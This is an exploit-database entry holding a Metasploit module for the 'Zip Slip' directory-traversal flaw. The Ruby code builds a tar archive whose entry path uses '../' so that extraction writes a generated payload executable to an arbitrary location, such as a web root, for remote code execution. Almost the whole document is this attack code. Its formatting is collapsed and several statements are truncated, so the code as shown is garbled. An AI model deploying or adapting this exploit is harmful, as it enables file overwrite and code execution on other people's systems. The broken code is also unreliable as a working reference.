Generic Zip Slip Traversal

Credit: sinn3r
Risk: High
Local: No
Remote: Yes

## # This module requires Metasploit: # Current source: ## require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Generic Zip Slip Traversal Vulnerability", 'Description' => %q{ This is a generic arbitrary file overwrite technique, which typically results in remote command execution. This targets a simple yet widespread vulnerability that has been seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. The idea is that often archive extraction libraries have no mitigations against directory traversal attacks. If an application uses it, there is a risk when opening an archive that is maliciously modified, and result in the embedded payload to be written to an arbitrary location (such as a web root), and result in remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Snyk', # Technique discovery 'sinn3r' # Metasploit ], 'References' => [ ['URL', ''] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => true }, 'Platform' => ['linux', 'win', 'unix'], 'Targets' => [ ['Manually determined', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jun 05 2018" )) register_options(['FILENAME', [true, 'The tar file (tar)', 'msf.tar']),'TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin']) ]) end class ZipSlipArchive attr_reader :data attr_reader :fname attr_reader :payload def initialize(n, p) @fname = n @payload = p @data = make end def make data = '' path = Rex::FileUtils.normalize_unix_path(fname) tar = do |t| t.add_file(path, 0777) do |f| f.write(payload) end end data = tar.close data end end def make_tar(target_payload_path) elf = generate_payload_exe(code: payload.encoded) archive =, generate_payload_exe) archive.make end def exploit target_payload_path = datastore['TARGETPAYLOADPATH'] unless target_payload_path.match(/\.\.\//) print_error('Please set a traversal path') return end tar = make_tar(target_payload_path) file_create(tar) print_status('When extracted, the payload is expected to extract to:') print_status(target_payload_path) end end =begin A quick test: $ python >>> import tarfile >>> t ='test.tar') >>> t.extractall() >>> exit() =end

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